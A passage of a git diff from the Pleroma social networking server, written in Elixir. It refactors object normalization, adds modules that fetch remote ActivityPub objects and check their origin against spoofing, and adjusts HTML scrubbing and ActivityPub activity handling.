	link("Post ##{activity.id} by #{user.nickname}", "/notices/#{activity.id}") <>
	info("#{like_count} likes, #{announcement_count} repeats") <>
	"i\tfake\t(NULL)\t0\r\n" <>
	- info(HTML.strip_tags(String.replace(activity.data["object"]["content"], "<br>", "\r")))
	+ info(HTML.strip_tags(String.replace(object["content"], "<br>", "\r")))
	end)
	\|> Enum.join("i\tfake\t(NULL)\t0\r\n")
	end

	def response("") do
	info("Welcome to #{Pleroma.Config.get([:instance, :name], "Pleroma")}!") <>
	link("Public Timeline", "/main/public") <>
	link("Federated Timeline", "/main/all") <> ".\r\n"
	end

	def response("/main/public") do
	posts =
	ActivityPub.fetch_public_activities(%{"type" => ["Create"], "local_only" => true})
	\|> render_activities

	info("Welcome to the Public Timeline!") <> posts <> ".\r\n"
	end

	def response("/main/all") do
	posts =
	ActivityPub.fetch_public_activities(%{"type" => ["Create"]})
	\|> render_activities

	info("Welcome to the Federated Timeline!") <> posts <> ".\r\n"
	end

	def response("/notices/" <> id) do
	with %Activity{} = activity <- Activity.get_by_id(id),
	true <- Visibility.is_public?(activity) do
	activities =
	ActivityPub.fetch_activities_for_context(activity.data["context"])
	\|> render_activities

	user = User.get_cached_by_ap_id(activity.data["actor"])

	info("Post #{activity.id} by #{user.nickname}") <>
	link("More posts by #{user.nickname}", "/users/#{user.nickname}") <> activities <> ".\r\n"
	else
	_e ->
	info("Not public") <> ".\r\n"
	end
	end

	def response("/users/" <> nickname) do
	with %User{} = user <- User.get_cached_by_nickname(nickname) do
	params = %{
	"type" => ["Create"],
	"actor_id" => user.ap_id
	}

	activities =
	ActivityPub.fetch_public_activities(params)
	\|> render_activities

	info("Posts by #{user.nickname}") <> activities <> ".\r\n"
	else
	_e ->
	info("No such user") <> ".\r\n"
	end
	end

	def loop(socket, transport) do
	case transport.recv(socket, 0, 5000) do
	{:ok, data} ->
	data = String.trim_trailing(data, "\r\n")
	transport.send(socket, response(data))
	:ok = transport.close(socket)

	_ ->
	:ok = transport.close(socket)
	end
	end
	end
	diff --git a/lib/pleroma/html.ex b/lib/pleroma/html.ex
	index 7f1dbe28c..4b42d8c9b 100644
	--- a/lib/pleroma/html.ex
	+++ b/lib/pleroma/html.ex
	@@ -1,259 +1,260 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.HTML do
	alias HtmlSanitizeEx.Scrubber

	defp get_scrubbers(scrubber) when is_atom(scrubber), do: [scrubber]
	defp get_scrubbers(scrubbers) when is_list(scrubbers), do: scrubbers
	defp get_scrubbers(_), do: [Pleroma.HTML.Scrubber.Default]

	def get_scrubbers do
	Pleroma.Config.get([:markup, :scrub_policy])
	\|> get_scrubbers
	end

	def filter_tags(html, nil) do
	filter_tags(html, get_scrubbers())
	end

	def filter_tags(html, scrubbers) when is_list(scrubbers) do
	Enum.reduce(scrubbers, html, fn scrubber, html ->
	filter_tags(html, scrubber)
	end)
	end

	def filter_tags(html, scrubber), do: Scrubber.scrub(html, scrubber)
	def filter_tags(html), do: filter_tags(html, nil)
	def strip_tags(html), do: Scrubber.scrub(html, Scrubber.StripTags)

	def get_cached_scrubbed_html_for_activity(content, scrubbers, activity, key \\ "") do
	key = "#{key}#{generate_scrubber_signature(scrubbers)}\|#{activity.id}"

	Cachex.fetch!(:scrubber_cache, key, fn _key ->
	- ensure_scrubbed_html(content, scrubbers, activity.data["object"]["fake"] \|\| false)
	+ object = Pleroma.Object.normalize(activity)
	+ ensure_scrubbed_html(content, scrubbers, object.data["fake"] \|\| false)
	end)
	end

	def get_cached_stripped_html_for_activity(content, activity, key) do
	get_cached_scrubbed_html_for_activity(
	content,
	HtmlSanitizeEx.Scrubber.StripTags,
	activity,
	key
	)
	end

	def ensure_scrubbed_html(
	content,
	scrubbers,
	false = _fake
	) do
	{:commit, filter_tags(content, scrubbers)}
	end

	def ensure_scrubbed_html(
	content,
	scrubbers,
	true = _fake
	) do
	{:ignore, filter_tags(content, scrubbers)}
	end

	defp generate_scrubber_signature(scrubber) when is_atom(scrubber) do
	generate_scrubber_signature([scrubber])
	end

	defp generate_scrubber_signature(scrubbers) do
	Enum.reduce(scrubbers, "", fn scrubber, signature ->
	"#{signature}#{to_string(scrubber)}"
	end)
	end

	def extract_first_external_url(_, nil), do: {:error, "No content"}

	def extract_first_external_url(object, content) do
	key = "URL\|#{object.id}"

	Cachex.fetch!(:scrubber_cache, key, fn _key ->
	result =
	content
	\|> Floki.filter_out("a.mention")
	\|> Floki.attribute("a", "href")
	\|> Enum.at(0)

	{:commit, {:ok, result}}
	end)
	end
	end

	defmodule Pleroma.HTML.Scrubber.TwitterText do
	@moduledoc """
	An HTML scrubbing policy which limits to twitter-style text. Only
	paragraphs, breaks and links are allowed through the filter.
	"""

	@markup Application.get_env(:pleroma, :markup)
	@valid_schemes Pleroma.Config.get([:uri_schemes, :valid_schemes], [])

	require HtmlSanitizeEx.Scrubber.Meta
	alias HtmlSanitizeEx.Scrubber.Meta

	Meta.remove_cdata_sections_before_scrub()
	Meta.strip_comments()

	# links
	Meta.allow_tag_with_uri_attributes("a", ["href", "data-user", "data-tag"], @valid_schemes)
	Meta.allow_tag_with_these_attributes("a", ["name", "title", "class"])

	Meta.allow_tag_with_this_attribute_values("a", "rel", [
	"tag",
	"nofollow",
	"noopener",
	"noreferrer"
	])

	# paragraphs and linebreaks
	Meta.allow_tag_with_these_attributes("br", [])
	Meta.allow_tag_with_these_attributes("p", [])

	# microformats
	Meta.allow_tag_with_these_attributes("span", ["class"])

	# allow inline images for custom emoji
	@allow_inline_images Keyword.get(@markup, :allow_inline_images)

	if @allow_inline_images do
	# restrict img tags to http/https only, because of MediaProxy.
	Meta.allow_tag_with_uri_attributes("img", ["src"], ["http", "https"])

	Meta.allow_tag_with_these_attributes("img", [
	"width",
	"height",
	"title",
	"alt"
	])
	end

	Meta.strip_everything_not_covered()
	end

	defmodule Pleroma.HTML.Scrubber.Default do
	@doc "The default HTML scrubbing policy: no "

	require HtmlSanitizeEx.Scrubber.Meta
	alias HtmlSanitizeEx.Scrubber.Meta
	# credo:disable-for-previous-line
	# No idea how to fix this one…

	@markup Application.get_env(:pleroma, :markup)
	@valid_schemes Pleroma.Config.get([:uri_schemes, :valid_schemes], [])

	Meta.remove_cdata_sections_before_scrub()
	Meta.strip_comments()

	Meta.allow_tag_with_uri_attributes("a", ["href", "data-user", "data-tag"], @valid_schemes)
	Meta.allow_tag_with_these_attributes("a", ["name", "title", "class"])

	Meta.allow_tag_with_this_attribute_values("a", "rel", [
	"tag",
	"nofollow",
	"noopener",
	"noreferrer"
	])

	Meta.allow_tag_with_these_attributes("abbr", ["title"])

	Meta.allow_tag_with_these_attributes("b", [])
	Meta.allow_tag_with_these_attributes("blockquote", [])
	Meta.allow_tag_with_these_attributes("br", [])
	Meta.allow_tag_with_these_attributes("code", [])
	Meta.allow_tag_with_these_attributes("del", [])
	Meta.allow_tag_with_these_attributes("em", [])
	Meta.allow_tag_with_these_attributes("i", [])
	Meta.allow_tag_with_these_attributes("li", [])
	Meta.allow_tag_with_these_attributes("ol", [])
	Meta.allow_tag_with_these_attributes("p", [])
	Meta.allow_tag_with_these_attributes("pre", [])
	Meta.allow_tag_with_these_attributes("span", ["class"])
	Meta.allow_tag_with_these_attributes("strong", [])
	Meta.allow_tag_with_these_attributes("u", [])
	Meta.allow_tag_with_these_attributes("ul", [])

	@allow_inline_images Keyword.get(@markup, :allow_inline_images)

	if @allow_inline_images do
	# restrict img tags to http/https only, because of MediaProxy.
	Meta.allow_tag_with_uri_attributes("img", ["src"], ["http", "https"])

	Meta.allow_tag_with_these_attributes("img", [
	"width",
	"height",
	"title",
	"alt"
	])
	end

	@allow_tables Keyword.get(@markup, :allow_tables)

	if @allow_tables do
	Meta.allow_tag_with_these_attributes("table", [])
	Meta.allow_tag_with_these_attributes("tbody", [])
	Meta.allow_tag_with_these_attributes("td", [])
	Meta.allow_tag_with_these_attributes("th", [])
	Meta.allow_tag_with_these_attributes("thead", [])
	Meta.allow_tag_with_these_attributes("tr", [])
	end

	@allow_headings Keyword.get(@markup, :allow_headings)

	if @allow_headings do
	Meta.allow_tag_with_these_attributes("h1", [])
	Meta.allow_tag_with_these_attributes("h2", [])
	Meta.allow_tag_with_these_attributes("h3", [])
	Meta.allow_tag_with_these_attributes("h4", [])
	Meta.allow_tag_with_these_attributes("h5", [])
	end

	@allow_fonts Keyword.get(@markup, :allow_fonts)

	if @allow_fonts do
	Meta.allow_tag_with_these_attributes("font", ["face"])
	end

	Meta.strip_everything_not_covered()
	end

	defmodule Pleroma.HTML.Transform.MediaProxy do
	@moduledoc "Transforms inline image URIs to use MediaProxy."

	alias Pleroma.Web.MediaProxy

	def before_scrub(html), do: html

	def scrub_attribute("img", {"src", "http" <> target}) do
	media_url =
	("http" <> target)
	\|> MediaProxy.url()

	{"src", media_url}
	end

	def scrub_attribute(_tag, attribute), do: attribute

	def scrub({"img", attributes, children}) do
	attributes =
	attributes
	\|> Enum.map(fn attr -> scrub_attribute("img", attr) end)
	\|> Enum.reject(&is_nil(&1))

	{"img", attributes, children}
	end

	def scrub({:comment, _children}), do: ""

	def scrub({tag, attributes, children}), do: {tag, attributes, children}
	def scrub({_tag, children}), do: children
	def scrub(text), do: text
	end
	diff --git a/lib/pleroma/object.ex b/lib/pleroma/object.ex
	index 013d62157..740d687a3 100644
	--- a/lib/pleroma/object.ex
	+++ b/lib/pleroma/object.ex
	@@ -1,187 +1,191 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Object do
	use Ecto.Schema

	alias Pleroma.Activity
	alias Pleroma.Object
	+ alias Pleroma.Object.Fetcher
	alias Pleroma.ObjectTombstone
	alias Pleroma.Repo
	alias Pleroma.User

	import Ecto.Query
	import Ecto.Changeset

	require Logger

	schema "objects" do
	field(:data, :map)

	timestamps()
	end

	def create(data) do
	Object.change(%Object{}, %{data: data})
	\|> Repo.insert()
	end

	def change(struct, params \\ %{}) do
	struct
	\|> cast(params, [:data])
	\|> validate_required([:data])
	\|> unique_constraint(:ap_id, name: :objects_unique_apid_index)
	end

	def get_by_ap_id(nil), do: nil

	def get_by_ap_id(ap_id) do
	Repo.one(from(object in Object, where: fragment("(?)->>'id' = ?", object.data, ^ap_id)))
	end

	+ def normalize(_, fetch_remote \\ true)
	# If we pass an Activity to Object.normalize(), we can try to use the preloaded object.
	# Use this whenever possible, especially when walking graphs in an O(N) loop!
	- def normalize(%Activity{object: %Object{} = object}), do: object
	+ def normalize(%Object{} = object, _), do: object
	+ def normalize(%Activity{object: %Object{} = object}, _), do: object

	# A hack for fake activities
	- def normalize(%Activity{data: %{"object" => %{"fake" => true} = data}}) do
	+ def normalize(%Activity{data: %{"object" => %{"fake" => true} = data}}, _) do
	%Object{id: "pleroma:fake_object_id", data: data}
	end

	# Catch and log Object.normalize() calls where the Activity's child object is not
	# preloaded.
	- def normalize(%Activity{data: %{"object" => %{"id" => ap_id}}}) do
	+ def normalize(%Activity{data: %{"object" => %{"id" => ap_id}}}, fetch_remote) do
	Logger.debug(
	"Object.normalize() called without preloaded object (#{ap_id}). Consider preloading the object!"
	)

	Logger.debug("Backtrace: #{inspect(Process.info(:erlang.self(), :current_stacktrace))}")

	- normalize(ap_id)
	+ normalize(ap_id, fetch_remote)
	end

	- def normalize(%Activity{data: %{"object" => ap_id}}) do
	+ def normalize(%Activity{data: %{"object" => ap_id}}, fetch_remote) do
	Logger.debug(
	"Object.normalize() called without preloaded object (#{ap_id}). Consider preloading the object!"
	)

	Logger.debug("Backtrace: #{inspect(Process.info(:erlang.self(), :current_stacktrace))}")

	- normalize(ap_id)
	+ normalize(ap_id, fetch_remote)
	end

	# Old way, try fetching the object through cache.
	- def normalize(%{"id" => ap_id}), do: normalize(ap_id)
	- def normalize(ap_id) when is_binary(ap_id), do: get_cached_by_ap_id(ap_id)
	- def normalize(_), do: nil
	+ def normalize(%{"id" => ap_id}, fetch_remote), do: normalize(ap_id, fetch_remote)
	+ def normalize(ap_id, false) when is_binary(ap_id), do: get_cached_by_ap_id(ap_id)
	+ def normalize(ap_id, true) when is_binary(ap_id), do: Fetcher.fetch_object_from_id!(ap_id)
	+ def normalize(_, _), do: nil

	# Owned objects can only be mutated by their owner
	def authorize_mutation(%Object{data: %{"actor" => actor}}, %User{ap_id: ap_id}),
	do: actor == ap_id

	# Legacy objects can be mutated by anybody
	def authorize_mutation(%Object{}, %User{}), do: true

	def get_cached_by_ap_id(ap_id) do
	key = "object:#{ap_id}"

	Cachex.fetch!(:object_cache, key, fn _ ->
	object = get_by_ap_id(ap_id)

	if object do
	{:commit, object}
	else
	{:ignore, object}
	end
	end)
	end

	def context_mapping(context) do
	Object.change(%Object{}, %{data: %{"id" => context}})
	end

	def make_tombstone(%Object{data: %{"id" => id, "type" => type}}, deleted \\ DateTime.utc_now()) do
	%ObjectTombstone{
	id: id,
	formerType: type,
	deleted: deleted
	}
	\|> Map.from_struct()
	end

	def swap_object_with_tombstone(object) do
	tombstone = make_tombstone(object)

	object
	\|> Object.change(%{data: tombstone})
	\|> Repo.update()
	end

	def delete(%Object{data: %{"id" => id}} = object) do
	with {:ok, _obj} = swap_object_with_tombstone(object),
	deleted_activity = Activity.delete_by_ap_id(id),
	{:ok, true} <- Cachex.del(:object_cache, "object:#{id}") do
	{:ok, object, deleted_activity}
	end
	end

	def set_cache(%Object{data: %{"id" => ap_id}} = object) do
	Cachex.put(:object_cache, "object:#{ap_id}", object)
	{:ok, object}
	end

	def update_and_set_cache(changeset) do
	with {:ok, object} <- Repo.update(changeset) do
	set_cache(object)
	else
	e -> e
	end
	end

	def increase_replies_count(ap_id) do
	Object
	\|> where([o], fragment("?->>'id' = ?::text", o.data, ^to_string(ap_id)))
	\|> update([o],
	set: [
	data:
	fragment(
	"""
	jsonb_set(?, '{repliesCount}',
	(coalesce((?->>'repliesCount')::int, 0) + 1)::varchar::jsonb, true)
	""",
	o.data,
	o.data
	)
	]
	)
	\|> Repo.update_all([])
	\|> case do
	{1, [object]} -> set_cache(object)
	_ -> {:error, "Not found"}
	end
	end

	def decrease_replies_count(ap_id) do
	Object
	\|> where([o], fragment("?->>'id' = ?::text", o.data, ^to_string(ap_id)))
	\|> update([o],
	set: [
	data:
	fragment(
	"""
	jsonb_set(?, '{repliesCount}',
	(greatest(0, (?->>'repliesCount')::int - 1))::varchar::jsonb, true)
	""",
	o.data,
	o.data
	)
	]
	)
	\|> Repo.update_all([])
	\|> case do
	{1, [object]} -> set_cache(object)
	_ -> {:error, "Not found"}
	end
	end
	end
	diff --git a/lib/pleroma/object/containment.ex b/lib/pleroma/object/containment.ex
	new file mode 100644
	index 000000000..25bd911fb
	--- /dev/null
	+++ b/lib/pleroma/object/containment.ex
	@@ -0,0 +1,61 @@
	+defmodule Pleroma.Object.Containment do
	+ @moduledoc """
	+ # Object Containment
	+
	+ This module contains some useful functions for containing objects to specific
	+ origins and determining those origins. They previously lived in the
	+ ActivityPub `Transmogrifier` module.
	+
	+ Object containment is an important step in validating remote objects to prevent
	+ spoofing, therefore removal of object containment functions is NOT recommended.
	+ """
	+ def get_actor(%{"actor" => actor}) when is_binary(actor) do
	+ actor
	+ end
	+
	+ def get_actor(%{"actor" => actor}) when is_list(actor) do
	+ if is_binary(Enum.at(actor, 0)) do
	+ Enum.at(actor, 0)
	+ else
	+ Enum.find(actor, fn %{"type" => type} -> type in ["Person", "Service", "Application"] end)
	+ \|> Map.get("id")
	+ end
	+ end
	+
	+ def get_actor(%{"actor" => %{"id" => id}}) when is_bitstring(id) do
	+ id
	+ end
	+
	+ def get_actor(%{"actor" => nil, "attributedTo" => actor}) when not is_nil(actor) do
	+ get_actor(%{"actor" => actor})
	+ end
	+
	+ @doc """
	+ Checks that an imported AP object's actor matches the domain it came from.
	+ """
	+ def contain_origin(_id, %{"actor" => nil}), do: :error
	+
	+ def contain_origin(id, %{"actor" => _actor} = params) do
	+ id_uri = URI.parse(id)
	+ actor_uri = URI.parse(get_actor(params))
	+
	+ if id_uri.host == actor_uri.host do
	+ :ok
	+ else
	+ :error
	+ end
	+ end
	+
	+ def contain_origin_from_id(_id, %{"id" => nil}), do: :error
	+
	+ def contain_origin_from_id(id, %{"id" => other_id} = _params) do
	+ id_uri = URI.parse(id)
	+ other_uri = URI.parse(other_id)
	+
	+ if id_uri.host == other_uri.host do
	+ :ok
	+ else
	+ :error
	+ end
	+ end
	+end
	diff --git a/lib/pleroma/object/fetcher.ex b/lib/pleroma/object/fetcher.ex
	new file mode 100644
	index 000000000..138e7866f
	--- /dev/null
	+++ b/lib/pleroma/object/fetcher.ex
	@@ -0,0 +1,75 @@
	+defmodule Pleroma.Object.Fetcher do
	+ alias Pleroma.Object
	+ alias Pleroma.Object.Containment
	+ alias Pleroma.Web.ActivityPub.Transmogrifier
	+ alias Pleroma.Web.OStatus
	+
	+ require Logger
	+
	+ @httpoison Application.get_env(:pleroma, :httpoison)
	+
	+ # TODO:
	+ # This will create a Create activity, which we need internally at the moment.
	+ def fetch_object_from_id(id) do
	+ if object = Object.get_cached_by_ap_id(id) do
	+ {:ok, object}
	+ else
	+ Logger.info("Fetching #{id} via AP")
	+
	+ with {:ok, data} <- fetch_and_contain_remote_object_from_id(id),
	+ nil <- Object.normalize(data, false),
	+ params <- %{
	+ "type" => "Create",
	+ "to" => data["to"],
	+ "cc" => data["cc"],
	+ "actor" => data["actor"] \|\| data["attributedTo"],
	+ "object" => data
	+ },
	+ :ok <- Containment.contain_origin(id, params),
	+ {:ok, activity} <- Transmogrifier.handle_incoming(params) do
	+ {:ok, Object.normalize(activity, false)}
	+ else
	+ {:error, {:reject, nil}} ->
	+ {:reject, nil}
	+
	+ object = %Object{} ->
	+ {:ok, object}
	+
	+ _e ->
	+ Logger.info("Couldn't get object via AP, trying out OStatus fetching...")
	+
	+ case OStatus.fetch_activity_from_url(id) do
	+ {:ok, [activity \| _]} -> {:ok, Object.normalize(activity.data["object"], false)}
	+ e -> e
	+ end
	+ end
	+ end
	+ end
	+
	+ def fetch_object_from_id!(id) do
	+ with {:ok, object} <- fetch_object_from_id(id) do
	+ object
	+ else
	+ _e ->
	+ nil
	+ end
	+ end
	+
	+ def fetch_and_contain_remote_object_from_id(id) do
	+ Logger.info("Fetching object #{id} via AP")
	+
	+ with true <- String.starts_with?(id, "http"),
	+ {:ok, %{body: body, status: code}} when code in 200..299 <-
	+ @httpoison.get(
	+ id,
	+ [{:Accept, "application/activity+json"}]
	+ ),
	+ {:ok, data} <- Jason.decode(body),
	+ :ok <- Containment.contain_origin_from_id(id, data) do
	+ {:ok, data}
	+ else
	+ e ->
	+ {:error, e}
	+ end
	+ end
	+end
	diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex
	index 45c62f750..48f05c1f9 100644
	--- a/lib/pleroma/web/activity_pub/activity_pub.ex
	+++ b/lib/pleroma/web/activity_pub/activity_pub.ex
	@@ -1,1050 +1,1011 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.ActivityPub do
	alias Pleroma.Activity
	alias Pleroma.Instances
	alias Pleroma.Notification
	alias Pleroma.Object
	+ alias Pleroma.Object.Fetcher
	alias Pleroma.Pagination
	alias Pleroma.Repo
	alias Pleroma.Upload
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.MRF
	alias Pleroma.Web.ActivityPub.Transmogrifier
	alias Pleroma.Web.Federator
	- alias Pleroma.Web.OStatus
	alias Pleroma.Web.WebFinger

	import Ecto.Query
	import Pleroma.Web.ActivityPub.Utils
	import Pleroma.Web.ActivityPub.Visibility

	require Logger

	@httpoison Application.get_env(:pleroma, :httpoison)

	# For Announce activities, we filter the recipients based on following status for any actors
	# that match actual users. See issue #164 for more information about why this is necessary.
	defp get_recipients(%{"type" => "Announce"} = data) do
	to = data["to"] \|\| []
	cc = data["cc"] \|\| []
	actor = User.get_cached_by_ap_id(data["actor"])

	recipients =
	(to ++ cc)
	\|> Enum.filter(fn recipient ->
	case User.get_cached_by_ap_id(recipient) do
	nil ->
	true

	user ->
	User.following?(user, actor)
	end
	end)

	{recipients, to, cc}
	end

	defp get_recipients(%{"type" => "Create"} = data) do
	to = data["to"] \|\| []
	cc = data["cc"] \|\| []
	actor = data["actor"] \|\| []
	recipients = (to ++ cc ++ [actor]) \|> Enum.uniq()
	{recipients, to, cc}
	end

	defp get_recipients(data) do
	to = data["to"] \|\| []
	cc = data["cc"] \|\| []
	recipients = to ++ cc
	{recipients, to, cc}
	end

	defp check_actor_is_active(actor) do
	if not is_nil(actor) do
	with user <- User.get_cached_by_ap_id(actor),
	false <- user.info.deactivated do
	:ok
	else
	_e -> :reject
	end
	else
	:ok
	end
	end

	defp check_remote_limit(%{"object" => %{"content" => content}}) when not is_nil(content) do
	limit = Pleroma.Config.get([:instance, :remote_limit])
	String.length(content) <= limit
	end

	defp check_remote_limit(_), do: true

	def increase_note_count_if_public(actor, object) do
	if is_public?(object), do: User.increase_note_count(actor), else: {:ok, actor}
	end

	def decrease_note_count_if_public(actor, object) do
	if is_public?(object), do: User.decrease_note_count(actor), else: {:ok, actor}
	end

	def increase_replies_count_if_reply(%{
	"object" => %{"inReplyTo" => reply_ap_id} = object,
	"type" => "Create"
	}) do
	if is_public?(object) do
	- Activity.increase_replies_count(reply_ap_id)
	Object.increase_replies_count(reply_ap_id)
	end
	end

	def increase_replies_count_if_reply(_create_data), do: :noop

	def decrease_replies_count_if_reply(%Object{
	data: %{"inReplyTo" => reply_ap_id} = object
	}) do
	if is_public?(object) do
	- Activity.decrease_replies_count(reply_ap_id)
	Object.decrease_replies_count(reply_ap_id)
	end
	end

	def decrease_replies_count_if_reply(_object), do: :noop

	def insert(map, local \\ true, fake \\ false) when is_map(map) do
	with nil <- Activity.normalize(map),
	map <- lazy_put_activity_defaults(map, fake),
	:ok <- check_actor_is_active(map["actor"]),
	{_, true} <- {:remote_limit_error, check_remote_limit(map)},
	{:ok, map} <- MRF.filter(map),
	{recipients, _, _} = get_recipients(map),
	{:fake, false, map, recipients} <- {:fake, fake, map, recipients},
	- {:ok, object} <- insert_full_object(map) do
	+ {:ok, map, object} <- insert_full_object(map) do
	{:ok, activity} =
	Repo.insert(%Activity{
	data: map,
	local: local,
	actor: map["actor"],
	recipients: recipients
	})

	# Splice in the child object if we have one.
	activity =
	if !is_nil(object) do
	Map.put(activity, :object, object)
	else
	activity
	end

	Task.start(fn ->
	Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity)
	end)

	Notification.create_notifications(activity)
	stream_out(activity)
	{:ok, activity}
	else
	%Activity{} = activity ->
	{:ok, activity}

	{:fake, true, map, recipients} ->
	activity = %Activity{
	data: map,
	local: local,
	actor: map["actor"],
	recipients: recipients,
	id: "pleroma:fakeid"
	}

	Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity)
	{:ok, activity}

	error ->
	{:error, error}
	end
	end

	def stream_out(activity) do
	public = "https://www.w3.org/ns/activitystreams#Public"

	if activity.data["type"] in ["Create", "Announce", "Delete"] do
	+ object = Object.normalize(activity.data["object"])
	Pleroma.Web.Streamer.stream("user", activity)
	Pleroma.Web.Streamer.stream("list", activity)

	if Enum.member?(activity.data["to"], public) do
	Pleroma.Web.Streamer.stream("public", activity)

	if activity.local do
	Pleroma.Web.Streamer.stream("public:local", activity)
	end

	if activity.data["type"] in ["Create"] do
	- activity.data["object"]
	+ object.data
	\|> Map.get("tag", [])
	\|> Enum.filter(fn tag -> is_bitstring(tag) end)
	\|> Enum.each(fn tag -> Pleroma.Web.Streamer.stream("hashtag:" <> tag, activity) end)

	- if activity.data["object"]["attachment"] != [] do
	+ if object.data["attachment"] != [] do
	Pleroma.Web.Streamer.stream("public:media", activity)

	if activity.local do
	Pleroma.Web.Streamer.stream("public:local:media", activity)
	end
	end
	end
	else
	if !Enum.member?(activity.data["cc"] \|\| [], public) &&
	!Enum.member?(
	activity.data["to"],
	User.get_cached_by_ap_id(activity.data["actor"]).follower_address
	),
	do: Pleroma.Web.Streamer.stream("direct", activity)
	end
	end
	end

	def create(%{to: to, actor: actor, context: context, object: object} = params, fake \\ false) do
	additional = params[:additional] \|\| %{}
	# only accept false as false value
	local = !(params[:local] == false)
	published = params[:published]

	with create_data <-
	make_create_data(
	%{to: to, actor: actor, published: published, context: context, object: object},
	additional
	),
	{:ok, activity} <- insert(create_data, local, fake),
	{:fake, false, activity} <- {:fake, fake, activity},
	_ <- increase_replies_count_if_reply(create_data),
	# Changing note count prior to enqueuing federation task in order to avoid
	# race conditions on updating user.info
	{:ok, _actor} <- increase_note_count_if_public(actor, activity),
	:ok <- maybe_federate(activity) do
	{:ok, activity}
	else
	{:fake, true, activity} ->
	{:ok, activity}
	end
	end

	def accept(%{to: to, actor: actor, object: object} = params) do
	# only accept false as false value
	local = !(params[:local] == false)

	with data <- %{"to" => to, "type" => "Accept", "actor" => actor.ap_id, "object" => object},
	{:ok, activity} <- insert(data, local),
	:ok <- maybe_federate(activity) do
	{:ok, activity}
	end
	end

	def reject(%{to: to, actor: actor, object: object} = params) do
	# only accept false as false value
	local = !(params[:local] == false)

	with data <- %{"to" => to, "type" => "Reject", "actor" => actor.ap_id, "object" => object},
	{:ok, activity} <- insert(data, local),
	:ok <- maybe_federate(activity) do
	{:ok, activity}
	end
	end

	def update(%{to: to, cc: cc, actor: actor, object: object} = params) do
	# only accept false as false value
	local = !(params[:local] == false)

	with data <- %{
	"to" => to,
	"cc" => cc,
	"type" => "Update",
	"actor" => actor,
	"object" => object
	},
	{:ok, activity} <- insert(data, local),
	:ok <- maybe_federate(activity) do
	{:ok, activity}
	end
	end

	# TODO: This is weird, maybe we shouldn't check here if we can make the activity.
	def like(
	%User{ap_id: ap_id} = user,
	%Object{data: %{"id" => _}} = object,
	activity_id \\ nil,
	local \\ true
	) do
	with nil <- get_existing_like(ap_id, object),
	like_data <- make_like_data(user, object, activity_id),
	{:ok, activity} <- insert(like_data, local),
	{:ok, object} <- add_like_to_object(activity, object),
	:ok <- maybe_federate(activity) do
	{:ok, activity, object}
	else
	%Activity{} = activity -> {:ok, activity, object}
	error -> {:error, error}
	end
	end

	def unlike(
	%User{} = actor,
	%Object{} = object,
	activity_id \\ nil,
	local \\ true
	) do
	with %Activity{} = like_activity <- get_existing_like(actor.ap_id, object),
	unlike_data <- make_unlike_data(actor, like_activity, activity_id),
	{:ok, unlike_activity} <- insert(unlike_data, local),
	{:ok, _activity} <- Repo.delete(like_activity),
	{:ok, object} <- remove_like_from_object(like_activity, object),
	:ok <- maybe_federate(unlike_activity) do
	{:ok, unlike_activity, like_activity, object}
	else
	_e -> {:ok, object}
	end
	end

	def announce(
	%User{ap_id: _} = user,
	%Object{data: %{"id" => _}} = object,
	activity_id \\ nil,
	local \\ true,
	public \\ true
	) do
	with true <- is_public?(object),
	announce_data <- make_announce_data(user, object, activity_id, public),
	{:ok, activity} <- insert(announce_data, local),
	{:ok, object} <- add_announce_to_object(activity, object),
	:ok <- maybe_federate(activity) do
	{:ok, activity, object}
	else
	error -> {:error, error}
	end
	end

	def unannounce(
	%User{} = actor,
	%Object{} = object,
	activity_id \\ nil,
	local \\ true
	) do
	with %Activity{} = announce_activity <- get_existing_announce(actor.ap_id, object),
	unannounce_data <- make_unannounce_data(actor, announce_activity, activity_id),
	{:ok, unannounce_activity} <- insert(unannounce_data, local),
	:ok <- maybe_federate(unannounce_activity),
	{:ok, _activity} <- Repo.delete(announce_activity),
	{:ok, object} <- remove_announce_from_object(announce_activity, object) do
	{:ok, unannounce_activity, object}
	else
	_e -> {:ok, object}
	end
	end

	def follow(follower, followed, activity_id \\ nil, local \\ true) do
	with data <- make_follow_data(follower, followed, activity_id),
	{:ok, activity} <- insert(data, local),
	:ok <- maybe_federate(activity) do
	{:ok, activity}
	end
	end

	def unfollow(follower, followed, activity_id \\ nil, local \\ true) do
	with %Activity{} = follow_activity <- fetch_latest_follow(follower, followed),
	{:ok, follow_activity} <- update_follow_state(follow_activity, "cancelled"),
	unfollow_data <- make_unfollow_data(follower, followed, follow_activity, activity_id),
	{:ok, activity} <- insert(unfollow_data, local),
	:ok <- maybe_federate(activity) do
	{:ok, activity}
	end
	end

	def delete(%Object{data: %{"id" => id, "actor" => actor}} = object, local \\ true) do
	user = User.get_cached_by_ap_id(actor)
	to = (object.data["to"] \|\| []) ++ (object.data["cc"] \|\| [])

	with {:ok, object, activity} <- Object.delete(object),
	data <- %{
	"type" => "Delete",
	"actor" => actor,
	"object" => id,
	"to" => to,
	"deleted_activity_id" => activity && activity.id
	},
	{:ok, activity} <- insert(data, local),
	_ <- decrease_replies_count_if_reply(object),
	# Changing note count prior to enqueuing federation task in order to avoid
	# race conditions on updating user.info
	{:ok, _actor} <- decrease_note_count_if_public(user, object),
	:ok <- maybe_federate(activity) do
	{:ok, activity}
	end
	end

	def block(blocker, blocked, activity_id \\ nil, local \\ true) do
	ap_config = Application.get_env(:pleroma, :activitypub)
	unfollow_blocked = Keyword.get(ap_config, :unfollow_blocked)
	outgoing_blocks = Keyword.get(ap_config, :outgoing_blocks)

	with true <- unfollow_blocked do
	follow_activity = fetch_latest_follow(blocker, blocked)

	if follow_activity do
	unfollow(blocker, blocked, nil, local)
	end
	end

	with true <- outgoing_blocks,
	block_data <- make_block_data(blocker, blocked, activity_id),
	{:ok, activity} <- insert(block_data, local),
	:ok <- maybe_federate(activity) do
